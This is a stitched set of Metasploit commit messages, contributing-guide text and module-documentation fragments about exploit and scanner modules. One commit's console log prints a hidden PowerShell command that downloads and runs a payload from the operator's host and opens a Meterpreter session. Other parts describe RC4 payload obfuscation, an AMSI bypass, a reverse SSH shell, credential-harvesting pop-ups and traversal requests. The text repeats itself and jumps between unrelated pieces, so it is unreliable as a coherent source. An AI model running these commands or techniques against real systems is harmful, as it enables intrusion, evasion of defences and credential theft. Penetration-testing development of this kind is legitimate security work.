Importing `Msf::Auxiliary::Scanner` at all will override the default
`has_check?` check and add a its own `check` method. This redefines
`has_check?` to allow usage of the Redis mixin while using an
exploit-style `check` method.
Fixes#13095
This adds and uses the functionality to leverage the Windows API for
managing users and groups via meterpreter sessions. This replaces
relevant functionality in a few modules which previously relied on shell
commands.Merge branch 'pr/12988' into upstream-master
Update the PHP command from web_delivery to ignore invalid SSL
certificates which is required for newer versions of PHP when a
self-signed certificate is used.
The issue found looks similar to https://stackoverflow.com/questions/55631720/simplecov-rcov-is-throwing-a-encodingundefinedconversionerror.
Also https://github.com/fguillen/simplecov-rcov/issues/20 suggest may be related to file open permissions set.
When running rspec test with `bundle exec rake spec` the following stack traces is seen.
```
Traceback (most recent call last):
27: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/defaults.rb:27:in `block in <top (required)>'
26: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov.rb:202:in `at_exit_behavior'
25: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov.rb:214:in `run_exit_tasks!'
24: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/configuration.rb:196:in `block in at_exit'
23: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/result.rb:49:in `format!'
22: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-html-0.12.2/lib/simplecov-html.rb:28:in `format'
21: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-html-0.12.2/lib/simplecov-html.rb:28:in `open'
20: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-html-0.12.2/lib/simplecov-html.rb:29:in `block in format'
19: from /home/msfuser/.rvm/rubies/ruby-2.6.5/lib/ruby/2.6.0/erb.rb:901:in `result'
18: from /home/msfuser/.rvm/rubies/ruby-2.6.5/lib/ruby/2.6.0/erb.rb:901:in `eval'
17: from (erb):8:in `block in format'
16: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/file_list.rb:73:in `covered_percent'
15: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/file_list.rb:27:in `coverage_statistics'
14: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/file_list.rb:104:in `compute_coverage_statistics'
13: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/file_list.rb:104:in `each_with_object'
12: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/file_list.rb:104:in `each'
11: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/file_list.rb:105:in `block in compute_coverage_statistics'
10: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:35:in `coverage_statistics'
9: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:333:in `line_coverage_statistics'
8: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:241:in `lines_strength'
7: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:43:in `lines'
6: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:224:in `build_lines'
5: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:28:in `src'
4: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:181:in `load_source'
3: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:181:in `open'
2: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:189:in `block in load_source'
1: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:202:in `read_lines'
/home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:202:in `readlines': U+2713 from UTF-8 to ASCII-8BIT (Encoding::UndefinedConversionError)
/home/msfuser/.rvm/rubies/ruby-2.6.5/bin/ruby -I/home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/rspec-core-3.9.1/lib:/home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/rspec-support-3.9.2/lib /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/rspec-core-3.9.1/exe/rspec --pattern spec/\*\*\{,/\*/\*\*\}/\*_spec.rb failed
```
Since we expect to support non-ASCII characters in some locations locking the version until a solution is found. The issue linked above suggest that a test helper may be able to override the open permissions, however since `rake spec` in Travis runs without the simplecov gem this may require some finesse to implement.
The linter here indents strangely only in the case where you have a
standalone string literal without an assignment nor a return or
function/method call. In all other cases it aligns properly. Given that
this really is easy to work around, with what looks like beneficial code
changes, this is still far worth the benefit.
See https://github.com/rapid7/metasploit-framework/pull/12990#pullrequestreview-369907902
The 'vhost_uri: true' enables the successfully exploitation of this vulnerability in environments where you can't use an IP address (RHOST) to access the OWA web page.
This responds to issue #12359, where it was noted that enumerated
usernames from this module were not being stored in the database. Since
they are not a credential pair of user:pass, I have made it an optional
feature with 'DB_ALL_USERS', which is consistent with other scanning
modules.
Also updates the check to be more precise. I had originally copied the
check method from the Morris worm Sendmail exploit:
220 simh Sendmail 5.51/5.17 ready at Wed, 18 Dec 85 11:14:07 PST
Note that there was no "ESMTP" string in 1985's Sendmail.
Remove accidental addition of gem
Remove commented out code
Remove commented out code
Remove commented out code
Refactor job tracking code, remove simple framework tests
finish renaming service to job_state_tracker
add missing require and move alias definition
fix private attr declaration
Add rspec tests
Address PR comments
Use let syntax in tests
Finish refactor moving job state tracker
This options makes use of RC4 for obfuscating powershell payloads. See
https://github.com/rapid7/rex-powershell/pull/14.
Now that the PR in rex-powershell has been merged, I am submitting this
PR which provides the new option powershell::exec_rc4 to make use of the
functionality added by the other PR. It enables using unstaged payloads
in web_delivery and obfuscates everything with RC4.
At first I wanted to include an AMSI bypass, but the maintainers were
against it, as it is a rapidly moving target. However, please note that
I'm using the same idea in another project of mine
(https://github.com/AdrianVollmer/PowerHub) and Matt Graber's original
AMSI bypass still works when obfuscating each string with RC4.
For verification and testing, the following output shows the steps you
need to take (here all included in the command line). Obviously, LHOST
needs to be adjusted.
$ msfconsole -x 'use exploit/multi/script/web_delivery; set target 2; set payload windows/x64/meterpreter_reverse_https; set lhost 192.168.11.2; set powershell::exec_rc4 true; set uripath rc4; run'
[...]
15:43:34>192.168.11.2[0] exploit(multi/script/web_delivery) >
[*] [2019.10.26-15:43:34] Started HTTPS reverse handler on https://192.168.11.2:8443
[*] [2019.10.26-15:43:34] Using URL: http://0.0.0.0:8080/rc4
[*] [2019.10.26-15:43:34] Local IP: http://192.168.11.2:8080/rc4
[*] [2019.10.26-15:43:34] Server started.
[*] [2019.10.26-15:43:34] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $K=new-object net.webclient;$K.proxy=[Net.WebRequest]::GetSystemWebProxy();$K.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $K.downloadstring('http://192.168.11.2:8080/rc4');
[*] [2019.10.26-15:43:37] 192.168.11.3 web_delivery - Delivering Payload (372601) bytes
[*] [2019.10.26-15:43:38] https://192.168.11.2:8443 handling request from 192.168.11.3; (UUID: rlscader) Redirecting stageless connection from /ZyJn03h_PH9FDUQPGLkIhww9tmyD1k4jPjMnjneqaASfzgzxsFJHS0VFH8s with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] [2019.10.26-15:43:38] https://192.168.11.2:8443 handling request from 192.168.11.3; (UUID: rlscader) Attaching orphaned/stageless session...
[*] Meterpreter session 1 opened (192.168.11.2:8443 -> 192.168.11.3:49820) at 2019-10-26 15:43:38 +0200
sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : SYSS-AVOLLMER-W
OS : Windows 10 (10.0 Build 18362).
Architecture : x64
System Language : de_DE
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
`expect.rb` is part of the `pty` extension to the Ruby stdlib since it
uses `select` and is meant for use with things like pipes or terminals
and Windows does not allow for selecting on those sorts of handles.
Since we only use it for sockets, we can pull it in straight to allow
for use on Windows without building the whole `pty` extension.
Previously, server 2016/19 was not correctly detected and falsely
reporting as vulnerable, because the check was overly trusting the
reported OS name - see PR #355 for a description of the problem.
Furthermore, I discovered a self-introduced bug in the regex of build
detection, which would in some cases first match on '2016' and not the
build number, which would be less than the five-digit build number for
the forseeable future.
Testing data included in PR comments.
Feedback from @bwatters-r7
- Make error message more descriptive
- Use `Rex.sleep` in stead of `sleep`
- Update `detect_qsl` logic
- Change the first `Exploit::CheckCode` to `Unknown` for the `Check` method
- Add `OperationMaxRetries` option documentation
- Add default value to `TARGETURI` and update the documentation
- Remove `PosOffset` advanced option and hardcode the value
- Update `Description`
- Move URI encoding logic to `send_crafted_request`
- Refactor `send_crafted_request` to handle the HTTP parameter and final & (%26)
Set default username `sa` for auxiliary/scanner/mssql/mssql_login
Set default username `root` for auxiliary/scanner/mysql/mysql_login
Enable `BLANK_PASSWORDS` option by default for both modules,
as the default users make use of a blank password in by default.
Feedback from adfoster-r7
Testing of detection:
```
msf5 exploit(windows/local/ms16_075_reflection_juicy) > check
[*] Target appears to be patched or not vulnerable (Windows 10 (10.0
Build 18363).)
[*] The target is not exploitable.
```
Testing of (forced) nil-case:
```
msf5 exploit(windows/local/ms16_075_reflection_juicy) > check
[*] Reloading module...
[!] Could not determine Windows build number - exploiting might fail.
[*] The target is not exploitable.
```
This addresses issue #12698, where the Windows OS and build was not
being parsed correctly due to changes in the client.sys.config lib.
Tested against Windows 10 (patched):
```
msf5 exploit(windows/local/ms16_075_reflection_juicy) > rcheck
[*] Reloading module...
[-] Target appears to be patched or not vulnerable (Windows 10 (10.0
Build 18363).)
[*] The target is not exploitable.
```
This commit changes a few things:
1. The module first writes the dll to a
temp location.
2. The module writes a batch file to a
temp location.
3. The batch file copies the dll until
the copy command fails (presumably
because the dll is now in use by
PrintIsolationHost.exe).
4. The dropped files are deleted.
5. Docs updated to reflect changes.
Thanks to @tsellers-r7 for testing XP and producing output to compare
against. Without a 32-bit test, the architecture guess was incorrect.
Additionally, product type had yet to be determined. The trailing bytes
were indeed significant! Thanks, Tom!
The original Qualys exploit uses an inline-shell for loop to read
and thereby consume lines from the input stream preceeding the
intended script for execution in the body section. Payloads which
do not contain bad characters (encoded or coincidentally simple)
can be placed directly into the FROM field and executed in place
of the original for loop filter.
Using method from
https://www.openwall.com/lists/oss-security/2020/01/28/3
Attempted several other line readers via awk, while, for. Tried
without pipes or `>` in the strings. It appears other characters
are also illegal (conditional brackets likely culprits).
Initial testing on wide-open-configured opensmtpd on OpenBSD 6.6
libvirt Vagrant image produces shells, python meterpreter sessions,
and executes generic commands.
* Add a random sentinel to close channel when terminates
* Replace spaces with tabs to be consistent
* Remove unnecessary escaped quotes and use include? instead of regex
Port in openvas OMP version 7.0 reports serialize in a new format.
<ports max="1000" start="1"><count>3</count>
<port>general/tcp<host>192.168.8.100</host><severity>2.6</severity><threat>Low</threat></port>
<port>general/CPE-T<host>192.168.8.100</host><severity>0.0</severity><threat>Log</threat></port>
<port>general/icmp<host>192.168.8.100</host><severity>0.0</severity><threat>Log</threat></port>
<port>445/tcp (IANA: microsoft-ds)<host>192.168.8.100</host><severity>9.3</severity><threat>High</threat></port>
<port>139/tcp (IANA: netbios-ssn)<host>192.168.8.100</host><severity>0.0</severity><threat>Log</threat></port>
<port>135/tcp (IANA: epmap)<host>192.168.8.100</host><severity>5.0</severity><threat>Medium</threat></port>
</ports>
Exploits a vulnerability in the /gena.cgi UPnP endpoint in D-Link DIR-859 (and potentially other) SOHO routers. CVE ID: 2019-17621.
Code based on modules/exploits/linux/http/dlink_dir300_exec_telnet.rb
OpenNetAdmin provides a database managed inventory of your IP network. Each subnet, host, and IP can be tracked via a centralized AJAX enabled web interface that can help reduce tracking errors.
This module exploits a command injection in OpenNetAdmin.
This commit adds additional parameter checks for nil and adds
a little more descriptive success message that includes the path
to the loot storage location.
John the Ripper installed from native packages, like ubuntu's 'john' package, might output the version in a slightly different format than when you build from source. This patch adds an addtional attempt to pull the version number from JtR's like these...
This avoids computing a stack trace on every single log message
that is never used in any of the logging sinks. This is one of the
number one profiled memory allocation/deallocation events in Metasploit
as shown with memory_profiler.
- Powershell script was outdated.
Updated from https://www.exploit-db.com/exploits/39719
- Powershell script was buggy when current directory
was set to e.g. C:\ProgramData. (Get-Item Error)
Fixed.
- Stager was being dropped to current directory, but
it is not guaranteed that we always have permission
to write a file there. Use %TEMP% instead.
- Exploit only seems to work when executed under
a powershell of the same architecture as the
host. (Not WOW64)
This module now ensures that no matter the
architecture of the meterpreter, a powershell
of the same architecture as the host is being
run. (Using Sysnative directory when on WOW64)
- Stager was broken, now generating stager with Rex
and dropping stager as `.ps1` instead of `.txt`.
Ideally the exploit should be rewritten to
accept a shellcode payload directly or a smaller
stager powershell should be created so that it
fits in under 1024 bytes and can be fed directly
to CreateProcessWithLogonW without dropping to
disk.
I have updated this module as per the comments left on the pull request.
This includes adding a timeout configuration option and adding a check
for the webSocketDebuggerUrl key
Since `Powershell::encode_final_payload` and `Powershell::encode_inner_payload` are already used in `cmd_psh_payload`, so it's better to have a dedicated option for the encoded launcher.
- Change executable in shebang from python3 to python
- Revert changes to files that will only run as python2
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
CVE Identifier was invalid, I removed that and made a
few other minor formatting / procedural changes, including
doing the check for the options before sending any network traffic.
I forgot to run msftidy before pushing. This commit
address two formatting issues and adds a place holder for
CVE, even though I don't think this is a CVE candidate.
This module can retrieve a file from a remote host that is
running a chrome session in headless mode on all network interfaces.
It can also make a web request from the remote host and send back the
full contents.
Add hirura to authors list for the Ruby reverse_ssh payloads.
Update all modules with author-per-line name references to be
consistent (useful given the difference in names between commiter
in git log and GitHub account).
Next steps:
See if HrrRbSsh client-side implementation can be fleshed out
enough to create alternative payload outputs for both of the Ruby
modules (using TARGET/ACTION to select between net/ or hrr_).
@hirura noticed two bugs: a typo, and a mistake creating an empty
RequestHandler object since the underlying library already does
this when it does not have a RequestHandler assigned for the
request type.
Fix typo for #1
Remove the RequestHandler assignments in #2 and related opt merge.
Testing:
None yet
Implement a reverse SSH shell using nothing but the on-target SSH
client and a fifo in the same manner as used by netcat payloads.
This is not forensically sound as the fifo will be caught by HIDS,
filesystem snapshots, and other defensive measures. However, it
does provide a way out from almost any modern POSIX system as they
nearly all have an SSH client in one form or another.
Convert existing Ruby reverse SSH payloads to use dynamic cached
payload sizing.
Implement a command-only session type over the HrrRbSsh client
Connection Channels' file descriptors, adjust from base command
session to deal with the separate reader/writer IOs. Technically,
a TTY session works out of the box here as well.
Implement a pair of showcase Ruby payloads using net/ssh to call
back to the handler, create a shell channel, and loop piping I/O
between framework session and client via the Ruby backtick exec.
Next Steps:
Command payloads need to be written for every major interpreted
language as well as some sort of bashism a la openssl_double if
it comes to that, but preferably single socket implementation.
Testing:
Very minimal, needs a good run through by the community and R7
Create the Rex::Proto::Ssh namespace and implement hrr_rb_ssh
objects in the Rex namespace with Rex' sockets stack, permissive
default connection options to accept any authentication, ACLs for
port forwarding, and a modified Connection #initialize method for
simplified instantiation.
The actual Rex::Proto::Ssh::Server object follow standard Rex
semantics for services to permit use in handlers, exploits, and
auxiliary modules in the same manner as the Http::Server is used
today.
This work is far from complete - the HrrRbSsh low-level objects
should be decomposed into Rex' pattern as they currently depend
heavily on their own Procs and Threads internally which use the
parent Connection object's attributes to look up which Proc should
be called in response to a Channel or Authentication request. This
is a bit difficult to do piecemeal given the intertwined data and
execution dependency inside of HrrRbSsh.
Next steps:
1. Create handler and reverse_ssh command session payloads
1a. POSIX systems generally have SSH already
1b. Windows Powershell is likely able to hotload SSH libs as a
pre-stager.
1c. Other interpreted runtimes usually have client-ssh libraries
2. Implement options parsing, handling, etc for user-customizable
functionality from the Msf namespace.
3. Use libssh2 to permit mettle use of the SSH transport.
3a. Bother @OJ about doing the same for Windows Meterpreter.
3b. Bother @zeroSteiner to implement SSH transport for PyMeterp.
3c. Ask @timwr and @mihi how viable this is for Android/Java.
3d. See if @OJ will do this for CLR-meterp on a livestream.
4. Write a post module which runs this SSH server from a mettle
session using the compromised hosts's own host keys and passwd
file for "valid" authentication while logging and MITMing the
entire command stream remotely - help folks shake off some of the
complacency around "secure shells."
5. Write a plugin which will permit sharing of the entire console
context, specific acquired sessions, or TCP forwards with the
pugin's SSH clients based on the credentials used to connect.
6. Further decompose the server code into Rex to permit writing
client fuzzers, loggers, and other tooling to test the posture of
SSH client implementations.
7. Work to implement SSH client functionality in HrrRbSsh and
convert the rest of Rex/Msf to use this library instead only.
8. Rewrite and import MetaSsh into Metasploit proper using the
new Rex::Proto::Ssh code.
-----
Huge thanks to @hirura for writing HrrRbSsh. I've spent countless
hours on and off working to implement server-side semantics in
net/ssh years ago and it was becoming a pretty full rewrite due
to the ordering of server/client req/resp messages and who sent
what to whom. This library is a much much cleaner implementation
and provides full, modern SSH servers in pure Ruby.
Thanks for your interest in making Metasploit -- and therefore, the
world -- a better place! Before you get started, review our
[Code of Conduct]. There are multiple ways to help beyond just writing code:
- [Submit bugs and feature requests] with detailed information about your issue or idea.
- [Help fellow users with open issues] or [help fellow committers test recently submitted pull requests].
- [Report a security vulnerability in Metasploit itself] to Rapid7.
- Submit an updated or brand new module! We are always eager for exploits, scanners, and new
integrations or features. Don't know where to start? Set up a [development environment], then head over to ExploitDB to look for [proof-of-concept exploits] that might make a good module.
# Contributing to Metasploit
Thank you for your interest in making Metasploit -- and therefore, the
world -- a better place! Before you get started, please review our [Code of Conduct](https://github.com/rapid7/metasploit-framework/wiki/Code-Of-Conduct). This helps us ensure our community is positive and supportive for everyone involved.
## Code Free Contributions
Before we get into the details of contributing code, you should know there are multiple ways you can add to Metasploit without any coding experience:
- You can [submit bugs and feature requests](https://github.com/rapid7/metasploit-framework/issues/new) with detailed information about your issue or idea:
- If you'd like to propose a feature, describe what you'd like to see. Mock ups of console views would be great.
- If you're reporting a bug, please be sure to include the expected behaviour, the observed behaviour, and steps to reproduce the problem. Resource scripts, console copy-pastes, and any background on the environment you encountered the bug in would be appreciated. More information can be found [below](#bug-reports).
- [Help fellow users with open issues]. This can require technical knowledge, but you can also get involved in conversations about bug reports and feature requests. This is a great way to get involved without getting too overwhelmed!
- [Help fellow committers test recently submitted pull requests](https://github.com/rapid7/metasploit-framework/pulls). Again this can require some technical skill, but by pulling down a pull request and testing it, you can help ensure our new code contributions for stability and quality.
- [Report a security vulnerability in Metasploit itself] to Rapid7. If you see something you think makes Metasploit vulnerable to an attack, let us know!
- [Add module documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation). New documentation is always needed and cleaning up existing documents is just as important! If you're a non-native english speaker, you can help by replacing any ambiguous idioms, metaphors, or unclear language that might make our documentation hard to understand.
Here's a short list of do's and don'ts to make sure *your* valuable contributions actually make
it into Metasploit's master branch. If you do not care to follow these rules, your contribution
**will** be closed. Sorry!
## Code Contributions
For those of you who are looking to add code to Metasploit, your first step is to set up a [development environment]. Once that's done, we recommend beginners start by adding a [proof-of-concept exploit from ExploitDB,](https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true) as a new module to the Metasploit framework. These exploits have been verified as recreatable and their ExploitDB page includes a copy of the exploitable software. This makes testing your module locally much simpler, and most importantly the exploits don't have an existing Metasploit implementation. ExploitDB can be slow to update however, so please double check that there isn't an existing module before beginning development! If you're certain the exploit you've chosen isn't already in Metasploit, read our [writing an exploit guide](https://github.com/rapid7/metasploit-framework/wiki/How-to-get-started-with-writing-an-exploit). It will help you to get started and avoid some common mistakes.
* **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
Once you have finished your new module and tested it locally to ensure it's working as expected, check out our [guide for accepting modules](https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements#module-additions). This will give you a good idea of how to clean up your code so that it's likely to get accepted.
Finally, follow our short list of do's and don'ts below to make sure your valuable contributions actually make it into Metasploit's master branch! We try to consider all our pull requests fairly and in detail, but if you do not follow these rules, your contribution
will be closed. We need to ensure the code we're adding to master is written to a high standard.
### Code Contribution Do's & Don'ts:
--
#### <u>Pull Requests</u>
**Pull request [PR#9966] is a good example to follow.**
* **Do** create a [topic branch] to work on instead of working directly on `master`. This helps to:
* Protect the process.
* Ensures users are aware of commits on the branch being considered for merge.
* Allows for a location for more commits to be offered without mingling with other contributor changes.
* Allows contributors to make progress while a PR is still being reviewed.
* **Do** follow the [50/72 rule] for Git commit messages.
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
* **Do** create a [topic branch] to work on instead of working directly on `master`.
This helps protect the process, ensures users are aware of commits on the branch being considered for merge,
allows for a location for more commits to be offered without mingling with other contributor changes,
and allows contributors to make progress while a PR is still being reviewed.
### Pull Requests
* **Do** write "WIP" on your PR and/or open a [draft PR] if submitting **working** yet unfinished code.
* **Do** target your pull request to the **master branch**.
* **Do** specify a descriptive title to make searching for your pull request easier.
* **Do** include [console output], especially for witnessable effects in`msfconsole`.
* **Do** include [console output], especially for effects that can be witnessed in the `msfconsole`.
* **Do** list [verification steps] so your code is testable.
* **Do** [reference associated issues] in your pull request description.
* **Don't** leave your pull request description blank.
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
* **Don't** post questions in older closed PRs.
Pull request [PR#9966] is a good example to follow.
#### New Modules
#### <u>New Modules</u>
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
* **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
* **Do** set up `msftidy` to fix any errors or warnings that come up as a [pre-commit hook].
* **Do** use the many module mixin [API]s.
* **Don't** include more than one module per pull request.
* **Do** include instructions on how to setup the vulnerable environment or software.
* **Do** include [Module Documentation] showing sample run-throughs.
* **Don't** submit new [scripts]. Scripts are shipped as examples for automating local tasks, and
anything "serious" can be done with post modules and local exploits.
#### Library Code
* **Don't** include more than one module per pull request.
* **Don't** submit new [scripts]. Scripts are shipped as examples for automating local tasks, and anything "serious" can be done with post modules and local exploits.
#### <u>Library Code</u>
* **Do** write [RSpec] tests - even the smallest change in a library can break existing code.
* **Do** follow [Better Specs] - it's like the style guide for specs.
* **Do** write [YARD] documentation - this makes it easier for people to use your code.
* **Don't** fix a lot of things in one pull request. Small fixes are easier to validate.
#### Bug Fixes
#### <u>Bug Fixes</u>
* **Do** include reproduction steps in the form of verification steps.
* **Do** link to any corresponding [Issues] in the format of `See #1234` in your commit description.
@@ -56,7 +56,7 @@ All of the leaked versions are available in the module
`**` We currently can't distinguish between normal and NPE versions from the SNMP strings. We've commented out the NPE offsets, as NPE is very rare (it is for exporting to places where encryption is crappy), but in the future, we'd like to incorporate these versions. Perhaps as a bool option?
This module exploits a File Path Traversal vulnerability in Cambium cnPilot r200/r201 devices to read arbitrary files off the file system. Affected versions - 4.3.3-R4 and prior.
## Verification Steps
@@ -8,7 +10,7 @@ This module exploits a File Path Traversal vulnerability in Cambium cnPilot r200
1. Install Metasploit 5.0.27 or earlier (or checkout before commit 5621d200ccf62e4a8f0dad80c1c74f4e0e52d86b)
2. Start msfconsole with the target Metasploit instance and start any reverse_http/reverse_https listener
3. Start this module and set RHOSTS and RPORT to the target listener address and port.
4. Run the modulest <rhost>```
7.`msfconsole` should use 99%+ CPU for a varying amount of time depending on the DOSTYPE option. You may need to kill the process manually.
## Options
**DOSTYPE**
GENTLE: *Current sessions will continue to work, but not future ones*
A lack of input sanitation permits an attacker to submit a request that will be added to the resources and will be used as regex rule it is possible then to make a valid regex rule that captures all the new handler requests. The sessions that were established previously will continue to work.
SOFT: *No past or future sessions will work*
A lack of input sanitation and lack of exception handling causes Metasploit to behave abnormally when looking an appropriate resource for the request, by submitting an invalid regex as a resource. This means that no request, current or future will get served an answer.
HARD: *ReDOS or Catastrophic Regex Backtracking*
A lack of input sanitization on paths added as resources allows an attacker to execute a catastrophic regex backtracking operation causing a Denial of Service by CPU consumption.
## Scenarios
```
msf5 auxiliary(dos/http/metasploit_httphandler_dos) > run
The module use the Censys REST API to access the same data accessible through web interface. The search endpoint allows searches against the current data in the IPv4, Top Million Websites, and Certificates indexes using the same search syntax as the primary site.
## Vulnerable Application
The module use the Censys REST API to access the same data accessible through web interface.
The search endpoint allows searches against the current data in the IPv4, Top Million Websites, and Certificates indexes using the same search syntax as the primary site.
## Verification Steps
@@ -207,8 +210,3 @@ msf auxiliary(censys_search) > run
This module takes advantage of misconfigured headless chrome sessions and either retrieves a specified file off the remote file system, or makes a web request from the remote machine.
## Headless Chrome Sessions
A vulnerable Headless Chrome session can be started with the following command:
@@ -49,8 +49,6 @@ Secondly, due to the nature of this application, it is normal to have the softwa
It is worth noticing that when a user logs in, the session has to be maintained by periodically sending a PING request. To bruteforce the session, we send each guess with a PING request until a 200 OK message is received.
## Vulnerable Application
[NUUO Central Management Server (CMS): all versions below 2.4.0](d1.nuuo.com/NUUO/CMS/)
This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the Samsung Internet Browser (CVE-2017-17692), a popular mobile browser shipping with Samsung Android devices. By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather credentials via a fake pop-up and the gather credentials is stored in `creds`
## Vulnerable Application
This Module was tested on Samsung Internet Browser 5.4.02.3 during development.
This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the Samsung Internet Browser (CVE-2017-17692), a popular mobile browser shipping with Samsung Android devices. By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather credentials via a fake pop-up and the gather credentials is stored in `creds`
More information can be found on the [Rapid7 Blog](https://community.rapid7.com/community/metasploit/blog/2010/03/08/locate-and-exploit-the-energizer-trojan).
More information can be found on the [Rapid7 Blog](https://blog.rapid7.com/2010/03/08/locate-and-exploit-the-energizer-trojan).
Energizer's "DUO" USB Battery Charger included a backdoor which listens on port 7777.
The software can be downloaded from the [Wayback Machine](http://web.archive.org/web/20080722134654/www.energizer.com/usbcharger/language/english/download.aspx).
An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. The vulnerability, tracked as CVE-2019-19781, allows for directory traversal. If exploited, it could allow an unauthenticated attacker to perform arbitrary code execution.
Because vulnerable servers allow for directory traversal, they will accept the request `GET /vpn/../vpns/` and process it as a request for `GET /vpns/`, a directory that contains PERL scripts that can be targeted to allow for limited file writing on the vulnerable host.
This module checks if a target server is vulnerable by issuing an HTTP GET request for `/vpn/../vpns/cfg/smb.conf`and then checking the response for `[global]` since this configuration file should contain global variables. If `[global]` is found, the server is vulnerable to CVE-2019-19781.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
msf5 auxiliary(scanner/http/citrix_dir_traversal) > run
[+] http://127.0.0.1:8080/vpn/../vpns/cfg/smb.conf - The target is vulnerable to CVE-2019-19781.
[+] Obtained HTTP response code 200 for http://127.0.0.1:8080/vpn/../vpns/cfg/smb.conf. This means that access to /vpn/../vpns/cfg/smb.conf was obtained via directory traversal.
The vulnerability is caused by a tilde character `~` in a GET or OPTIONS request, which could allow remote attackers to disclose 8.3 filenames (short names). In 2010, Soroush Dalili and Ali Abbasnejad discovered the original bug (GET request) This was publicly disclosed in 2012. In 2014, Soroush Dalili discovered that newer IIS installations are vulnerable with OPTIONS.
## Vulnerable Application
Older Microsoft IIS installations are vulnerable with GET, newer installations with OPTIONS
The vulnerability is caused by a tilde character `~` in a GET or OPTIONS request, which could allow remote attackers
to disclose 8.3 filenames (short names). In 2010, Soroush Dalili and Ali Abbasnejad discovered the original bug (GET request)
this was publicly disclosed in 2012. In 2014, Soroush Dalili discovered that newer IIS installations are vulnerable with OPTIONS.
Older Microsoft IIS installations are vulnerable with GET, newer installations with OPTIONS
### Remediation
Create registry key `NtfsDisable8dot3NameCreation` at `HKLM\SYSTEM\CurrentControlSet\Control\FileSystem`, with a value of `1`
## Verification Steps
1. Install IIS (default installations are vulnerable)
@@ -51,13 +53,3 @@ Older Microsoft IIS installations are vulnerable with GET, newer installations w
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
```
## Remediation
Create registry key `NtfsDisable8dot3NameCreation` at `HKLM\SYSTEM\CurrentControlSet\Control\FileSystem`, with a value of `1`
This module exploits an unauthenticated directory traversal vulnerability, which exists in Spring Cloud Config versions 2.1.x prior to 2.1.2,versions 2.0.x prior to 2.0.4, and versions 1.4.x prior to 1.4.6.
Spring Cloud Config listens by default on port 8888.
